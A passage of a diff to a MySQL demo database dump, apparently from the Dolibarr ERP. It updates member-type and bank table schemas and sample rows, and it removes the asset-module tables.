varchar(3) NOT NULL DEFAULT '1', + `note` text DEFAULT NULL, + `mail_valid` text DEFAULT NULL, + `morphy` varchar(3) DEFAULT NULL, + `duration` varchar(6) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_adherent_type_libelle` (`libelle`,`entity`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -598,7 +603,7 @@ CREATE TABLE `llx_adherent_type` ( LOCK TABLES `llx_adherent_type` WRITE; /*!40000 ALTER TABLE `llx_adherent_type` DISABLE KEYS */; -INSERT INTO `llx_adherent_type` VALUES (1,1,'2020-06-12 17:20:50',1,'Board members','1',NULL,'1','','','','1y'),(2,1,'2020-06-12 17:21:21',1,'Standard members','1',NULL,'1','','','','y'); +INSERT INTO `llx_adherent_type` VALUES (1,1,'2023-02-09 13:07:30',1,'Board members','1',11.00000000,0,'1','','','','1y'),(2,1,'2023-02-09 13:26:05',1,'Standard members','1',NULL,1,'1','','','','y'); /*!40000 ALTER TABLE `llx_adherent_type` ENABLE KEYS */; UNLOCK TABLES; @@ -613,11 +618,11 @@ CREATE TABLE `llx_adherent_type_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extradatamembertype` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extradatamembertype` varchar(32) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_adherent_type_extrafields` (`fk_object`) -) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -626,7 +631,7 @@ CREATE TABLE `llx_adherent_type_extrafields` ( LOCK TABLES `llx_adherent_type_extrafields` WRITE; /*!40000 ALTER TABLE `llx_adherent_type_extrafields` DISABLE KEYS */; -INSERT INTO `llx_adherent_type_extrafields` VALUES (2,'2020-06-12 17:20:50',1,NULL,NULL),(4,'2020-06-12 17:21:21',2,NULL,NULL); +INSERT INTO `llx_adherent_type_extrafields` VALUES (5,'2023-02-09 13:07:30',1,NULL,NULL),(6,'2023-02-09 13:26:05',2,NULL,NULL); /*!40000 ALTER TABLE `llx_adherent_type_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -640,11 +645,11 @@ DROP TABLE IF EXISTS `llx_adherent_type_lang`; CREATE TABLE `llx_adherent_type_lang` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_type` int(11) NOT NULL DEFAULT 0, - `lang` varchar(5) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `email` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lang` varchar(5) NOT NULL DEFAULT '0', + `label` varchar(255) NOT NULL, + `description` text DEFAULT NULL, + `email` text DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -659,390 +664,6 @@ INSERT INTO `llx_adherent_type_lang` VALUES (1,2,'en_US','Standard members','',N /*!40000 ALTER TABLE `llx_adherent_type_lang` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_asset` --- - -DROP TABLE IF EXISTS `llx_asset`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `entity` int(11) NOT NULL DEFAULT 1, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `fk_asset_model` int(11) DEFAULT NULL, - `reversal_amount_ht` double(24,8) DEFAULT NULL, - `acquisition_value_ht` double(24,8) NOT NULL, - `fk_soc` int(11) DEFAULT NULL, - `note_public` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_creat` int(11) NOT NULL, - `fk_user_modif` int(11) DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `status` int(11) NOT NULL, - `recovered_vat` double(24,8) DEFAULT NULL, - `reversal_date` date DEFAULT NULL, - `date_acquisition` date NOT NULL, - `date_start` date NOT NULL, - `qty` double NOT NULL DEFAULT 1, - `acquisition_type` smallint(6) NOT NULL DEFAULT 0, - `asset_type` smallint(6) NOT NULL DEFAULT 0, - `not_depreciated` int(11) DEFAULT 0, - `disposal_date` date DEFAULT NULL, - `disposal_amount_ht` double(24,8) DEFAULT NULL, - `fk_disposal_type` int(11) DEFAULT NULL, - `disposal_depreciated` int(11) DEFAULT 0, - `disposal_subject_to_vat` int(11) DEFAULT 0, - PRIMARY KEY (`rowid`), - KEY `idx_asset_rowid` (`rowid`), - KEY `idx_asset_ref` (`ref`), - KEY `idx_asset_entity` (`entity`), - KEY `idx_asset_fk_soc` (`fk_soc`), - KEY `idx_asset_fk_asset_model` (`fk_asset_model`), - KEY `idx_asset_fk_disposal_type` (`fk_disposal_type`), - KEY `fk_asset_user_creat` (`fk_user_creat`), - KEY `fk_asset_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_asset_model` FOREIGN KEY (`fk_asset_model`) REFERENCES `llx_asset_model` (`rowid`), - CONSTRAINT `fk_asset_disposal_type` FOREIGN KEY (`fk_disposal_type`) REFERENCES `llx_c_asset_disposal_type` (`rowid`), - CONSTRAINT `fk_asset_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`), - CONSTRAINT `fk_asset_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset` --- - -LOCK TABLES `llx_asset` WRITE; -/*!40000 ALTER TABLE `llx_asset` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_accountancy_codes_economic` --- - -DROP TABLE IF EXISTS `llx_asset_accountancy_codes_economic`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_accountancy_codes_economic` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_asset` int(11) DEFAULT NULL, - `fk_asset_model` int(11) DEFAULT NULL, - `asset` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `depreciation_asset` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `depreciation_expense` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `value_asset_sold` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `receivable_on_assignment` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `proceeds_from_sales` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `vat_collected` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `vat_deductible` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_modif` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_asset_ace_fk_asset` (`fk_asset`), - UNIQUE KEY `uk_asset_ace_fk_asset_model` (`fk_asset_model`), - KEY `idx_asset_ace_rowid` (`rowid`), - KEY `fk_asset_ace_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_ace_asset` FOREIGN KEY (`fk_asset`) REFERENCES `llx_asset` (`rowid`), - CONSTRAINT `fk_asset_ace_asset_model` FOREIGN KEY (`fk_asset_model`) REFERENCES `llx_asset_model` (`rowid`), - CONSTRAINT `fk_asset_ace_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_accountancy_codes_economic` --- - -LOCK TABLES `llx_asset_accountancy_codes_economic` WRITE; -/*!40000 ALTER TABLE `llx_asset_accountancy_codes_economic` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_accountancy_codes_economic` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_accountancy_codes_fiscal` --- - -DROP TABLE IF EXISTS `llx_asset_accountancy_codes_fiscal`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_accountancy_codes_fiscal` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_asset` int(11) DEFAULT NULL, - `fk_asset_model` int(11) DEFAULT NULL, - `accelerated_depreciation` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `endowment_accelerated_depreciation` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `provision_accelerated_depreciation` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_modif` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_asset_acf_fk_asset` (`fk_asset`), - UNIQUE KEY `uk_asset_acf_fk_asset_model` (`fk_asset_model`), - KEY `idx_asset_acf_rowid` (`rowid`), - KEY `fk_asset_acf_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_acf_asset` FOREIGN KEY (`fk_asset`) REFERENCES `llx_asset` (`rowid`), - CONSTRAINT `fk_asset_acf_asset_model` FOREIGN KEY (`fk_asset_model`) REFERENCES `llx_asset_model` (`rowid`), - CONSTRAINT `fk_asset_acf_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_accountancy_codes_fiscal` --- - -LOCK TABLES `llx_asset_accountancy_codes_fiscal` WRITE; -/*!40000 ALTER TABLE `llx_asset_accountancy_codes_fiscal` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_accountancy_codes_fiscal` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_depreciation` --- - -DROP TABLE IF EXISTS `llx_asset_depreciation`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_depreciation` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_asset` int(11) NOT NULL, - `depreciation_mode` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `ref` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `depreciation_date` datetime NOT NULL, - `depreciation_ht` double(24,8) NOT NULL, - `cumulative_depreciation_ht` double(24,8) NOT NULL, - `accountancy_code_debit` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code_credit` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_modif` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_asset_depreciation_fk_asset` (`fk_asset`,`depreciation_mode`,`ref`), - KEY `idx_asset_depreciation_rowid` (`rowid`), - KEY `idx_asset_depreciation_fk_asset` (`fk_asset`), - KEY `idx_asset_depreciation_depreciation_mode` (`depreciation_mode`), - KEY `idx_asset_depreciation_ref` (`ref`), - KEY `fk_asset_depreciation_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_depreciation_asset` FOREIGN KEY (`fk_asset`) REFERENCES `llx_asset` (`rowid`), - CONSTRAINT `fk_asset_depreciation_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_depreciation` --- - -LOCK TABLES `llx_asset_depreciation` WRITE; -/*!40000 ALTER TABLE `llx_asset_depreciation` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_depreciation` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_depreciation_options_economic` --- - -DROP TABLE IF EXISTS `llx_asset_depreciation_options_economic`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_depreciation_options_economic` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_asset` int(11) DEFAULT NULL, - `fk_asset_model` int(11) DEFAULT NULL, - `depreciation_type` smallint(6) NOT NULL DEFAULT 0, - `accelerated_depreciation_option` int(11) DEFAULT NULL, - `degressive_coefficient` double(24,8) DEFAULT NULL, - `duration` smallint(6) NOT NULL, - `duration_type` smallint(6) NOT NULL DEFAULT 0, - `amount_base_depreciation_ht` double(24,8) DEFAULT NULL, - `amount_base_deductible_ht` double(24,8) DEFAULT NULL, - `total_amount_last_depreciation_ht` double(24,8) DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_modif` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_asset_doe_fk_asset` (`fk_asset`), - UNIQUE KEY `uk_asset_doe_fk_asset_model` (`fk_asset_model`), - KEY `idx_asset_doe_rowid` (`rowid`), - KEY `fk_asset_doe_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_doe_asset` FOREIGN KEY (`fk_asset`) REFERENCES `llx_asset` (`rowid`), - CONSTRAINT `fk_asset_doe_asset_model` FOREIGN KEY (`fk_asset_model`) REFERENCES `llx_asset_model` (`rowid`), - CONSTRAINT `fk_asset_doe_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_depreciation_options_economic` --- - -LOCK TABLES `llx_asset_depreciation_options_economic` WRITE; -/*!40000 ALTER TABLE `llx_asset_depreciation_options_economic` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_depreciation_options_economic` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_depreciation_options_fiscal` --- - -DROP TABLE IF EXISTS `llx_asset_depreciation_options_fiscal`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_depreciation_options_fiscal` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `fk_asset` int(11) DEFAULT NULL, - `fk_asset_model` int(11) DEFAULT NULL, - `depreciation_type` smallint(6) NOT NULL DEFAULT 0, - `degressive_coefficient` double(24,8) DEFAULT NULL, - `duration` smallint(6) NOT NULL, - `duration_type` smallint(6) NOT NULL DEFAULT 0, - `amount_base_depreciation_ht` double(24,8) DEFAULT NULL, - `amount_base_deductible_ht` double(24,8) DEFAULT NULL, - `total_amount_last_depreciation_ht` double(24,8) DEFAULT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_modif` int(11) DEFAULT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_asset_dof_fk_asset` (`fk_asset`), - UNIQUE KEY `uk_asset_dof_fk_asset_model` (`fk_asset_model`), - KEY `idx_asset_dof_rowid` (`rowid`), - KEY `fk_asset_dof_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_dof_asset` FOREIGN KEY (`fk_asset`) REFERENCES `llx_asset` (`rowid`), - CONSTRAINT `fk_asset_dof_asset_model` FOREIGN KEY (`fk_asset_model`) REFERENCES `llx_asset_model` (`rowid`), - CONSTRAINT `fk_asset_dof_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_depreciation_options_fiscal` --- - -LOCK TABLES `llx_asset_depreciation_options_fiscal` WRITE; -/*!40000 ALTER TABLE `llx_asset_depreciation_options_fiscal` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_depreciation_options_fiscal` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_extrafields` --- - -DROP TABLE IF EXISTS `llx_asset_extrafields`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_extrafields` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_asset_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_extrafields` --- - -LOCK TABLES `llx_asset_extrafields` WRITE; -/*!40000 ALTER TABLE `llx_asset_extrafields` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_extrafields` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_model` --- - -DROP TABLE IF EXISTS `llx_asset_model`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_model` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `ref` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `asset_type` smallint(6) NOT NULL, - `fk_pays` int(11) DEFAULT 0, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_user_creat` int(11) NOT NULL, - `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `status` smallint(6) NOT NULL, - PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_asset_model` (`entity`,`ref`), - KEY `idx_asset_model_rowid` (`rowid`), - KEY `idx_asset_model_ref` (`ref`), - KEY `idx_asset_model_pays` (`fk_pays`), - KEY `idx_asset_model_entity` (`entity`), - KEY `fk_asset_model_user_creat` (`fk_user_creat`), - KEY `fk_asset_model_user_modif` (`fk_user_modif`), - CONSTRAINT `fk_asset_model_user_creat` FOREIGN KEY (`fk_user_creat`) REFERENCES `llx_user` (`rowid`), - CONSTRAINT `fk_asset_model_user_modif` FOREIGN KEY (`fk_user_modif`) REFERENCES `llx_user` (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_model` --- - -LOCK TABLES `llx_asset_model` WRITE; -/*!40000 ALTER TABLE `llx_asset_model` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_model` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_model_extrafields` --- - -DROP TABLE IF EXISTS `llx_asset_model_extrafields`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_model_extrafields` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_asset_model_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_model_extrafields` --- - -LOCK TABLES `llx_asset_model_extrafields` WRITE; -/*!40000 ALTER TABLE `llx_asset_model_extrafields` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_model_extrafields` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_asset_type_extrafields` --- - -DROP TABLE IF EXISTS `llx_asset_type_extrafields`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_asset_type_extrafields` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`), - KEY `idx_asset_type_extrafields` (`fk_object`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_asset_type_extrafields` --- - -LOCK TABLES `llx_asset_type_extrafields` WRITE; -/*!40000 ALTER TABLE `llx_asset_type_extrafields` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_asset_type_extrafields` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_bank` -- @@ -1057,31 +678,32 @@ CREATE TABLE `llx_bank` ( `datev` date DEFAULT NULL, `dateo` date DEFAULT NULL, `amount` double(24,8) NOT NULL DEFAULT 0.00000000, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `fk_account` int(11) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_rappro` int(11) DEFAULT NULL, - `fk_type` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `num_releve` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `num_chq` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `fk_type` varchar(6) DEFAULT NULL, + `num_releve` varchar(50) DEFAULT NULL, + `num_chq` varchar(50) DEFAULT NULL, `rappro` tinyint(4) DEFAULT 0, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bordereau` int(11) DEFAULT 0, - `banque` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `emetteur` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `author` varchar(40) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `numero_compte` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `banque` varchar(255) DEFAULT NULL, + `emetteur` varchar(255) DEFAULT NULL, + `author` varchar(40) DEFAULT NULL, + `numero_compte` varchar(32) DEFAULT NULL, `origin_id` int(11) DEFAULT NULL, - `origin_type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `origin_type` varchar(64) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `amount_main_currency` double(24,8) DEFAULT NULL, + `position` int(11) DEFAULT 0, PRIMARY KEY (`rowid`), KEY `idx_bank_datev` (`datev`), KEY `idx_bank_dateo` (`dateo`), KEY `idx_bank_fk_account` (`fk_account`), KEY `idx_bank_rappro` (`rappro`), KEY `idx_bank_num_releve` (`num_releve`) -) ENGINE=InnoDB AUTO_INCREMENT=56 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=62 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1090,7 +712,7 @@ CREATE TABLE `llx_bank` ( LOCK TABLES `llx_bank` WRITE; /*!40000 ALTER TABLE `llx_bank` DISABLE KEYS */; -INSERT INTO `llx_bank` VALUES (1,'2012-07-08 23:56:14','2021-07-11 17:49:28','2021-07-08','2021-07-08',2000.00000000,'(Initial balance)',1,NULL,1,'SOLD','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,'2012-07-09 00:00:24','2021-07-11 17:49:28','2021-07-09','2021-07-09',500.00000000,'(Initial balance)',2,NULL,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,'2012-07-10 13:33:42','2021-07-11 17:49:28','2021-07-10','2021-07-10',0.00000000,'(Solde initial)',3,NULL,NULL,'SOLD',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(5,'2013-07-18 20:50:24','2021-07-11 17:49:28','2021-07-08','2021-07-08',20.00000000,'(CustomerInvoicePayment)',1,1,NULL,'CB','201107',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(6,'2013-07-18 20:50:47','2021-07-11 17:49:28','2021-07-08','2021-07-08',10.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(8,'2013-08-01 03:34:11','2022-02-07 13:37:54','2021-08-15','2021-08-01',5.63000000,'(CustomerInvoicePayment)',1,1,1,'CB','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(12,'2013-08-05 23:11:37','2022-02-07 13:37:54','2021-08-12','2021-08-05',-10.00000000,'(SocialContributionPayment)',1,1,1,'VIR','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(13,'2013-08-06 20:33:54','2022-02-07 13:37:54','2021-08-06','2021-08-06',5.98000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(14,'2013-08-08 02:53:40','2022-02-07 13:37:54','2021-08-08','2021-08-08',26.10000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(15,'2013-08-08 02:55:58','2022-02-07 13:37:54','2021-08-08','2021-08-08',26.96000000,'(CustomerInvoicePayment)',1,1,1,'TIP','201211',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(16,'2014-12-09 15:28:44','2022-02-07 13:37:54','2021-12-09','2021-12-09',2.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(17,'2014-12-09 15:28:53','2022-02-07 13:37:54','2021-12-09','2021-12-09',-2.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(18,'2014-12-09 17:35:55','2022-02-07 13:37:54','2021-12-09','2021-12-09',-2.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(19,'2014-12-09 17:37:02','2022-02-07 13:37:54','2021-12-09','2021-12-09',2.00000000,'(CustomerInvoicePayment)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(20,'2014-12-09 18:35:07','2022-02-07 13:37:54','2021-12-09','2021-12-09',-2.00000000,'(CustomerInvoicePaymentBack)',3,1,NULL,'LIQ',NULL,NULL,0,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(21,'2014-12-12 18:54:33','2022-02-07 13:37:54','2021-12-12','2021-12-12',1.00000000,'(CustomerInvoicePayment)',1,1,1,'TIP','201210',NULL,1,NULL,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(22,'2015-03-06 16:48:16','2022-07-04 